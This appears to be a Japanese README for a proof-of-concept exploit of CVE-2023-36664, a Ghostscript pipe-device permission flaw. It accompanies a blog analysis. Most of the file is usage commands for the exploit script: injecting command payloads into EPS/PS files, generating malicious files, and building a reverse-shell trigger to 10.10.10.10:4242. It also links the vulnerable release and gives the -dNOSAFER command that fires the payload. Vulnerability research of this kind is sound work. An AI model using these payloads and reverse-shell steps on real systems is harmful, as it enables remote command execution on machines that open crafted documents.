バージョン 10.01.2 より前の Ghostscript で公開された脆弱性により、コード実行が引き起こされます(CVSS スコア 9.8)。
公式の脆弱性説明:
Artifex Ghostscript 10.01.2 以前は、パイプデバイス(
%pipe%プレフィックスまたは|パイプ文字プレフィックス)に対する許可検証を誤って処理します。
Debian は、任意のコマンド実行の可能性に言及したセキュリティアドバイザリを公開しました:
「Ghostscript(GPL PostScript/PDF インタプリタ)がパイプデバイスの許可検証を適切に処理しないため、不正な形式のドキュメントファイルが処理された場合に任意のコマンドが実行される可能性があることが判明しました。」
このリポジトリは、vsociety ブログで公開されている CVE 分析ブログ記事のために作成されました。
Ghostscript 10.01.1 をこちらからダウンロード: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Windows x64 実行ファイルへの直接リンク: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
悪用は PS または EPS ファイルを開く際に発生し、Ghostscript がパイプデバイスの許可検証を誤って処理することによるコード実行を引き起こす可能性があります。
使用法: python3 CVE_2023_36664_exploit.py <入力ファイル> <コマンド>
例:
python3 CVE_2023_36664_exploit.py file.eps "calc"
これにより、file_injected.eps という新しいファイルが生成されます。
これを Ghostscript で開くと電卓が起動します(バージョン 9.50 以降では -dNOSAFER オプションも使用する必要があります):
gs10011w64.exe -dNOSAFER .\file_injected.eps
その他の例: ペイロード "calc" を使用して run_calculator.eps という新しい EPS ファイルを生成(Windows で新しい電卓を起動)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
カスタム IP を使用して rev_shell.eps という新しい EPS ファイルを生成(Unix でトリガー時にリバースシェルを起動)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
ペイロード "calc" を使用して malicius.ps という新しい PS ファイルを生成(Windows で新しい電卓を起動)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
既存のファイル file.eps に悪意のあるカスタムペイロード ("calc") を注入(Windows で新しい電卓を起動)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
このソフトウェアは、学術研究および効果的な防御技術の開発を目的として作成されたものであり、明示的に許可された場合を除き、システムへの攻撃に使用することを意図していません。プロジェクトメンテナは、ソフトウェアの誤用について一切の責任を負いません。責任を持って使用してください。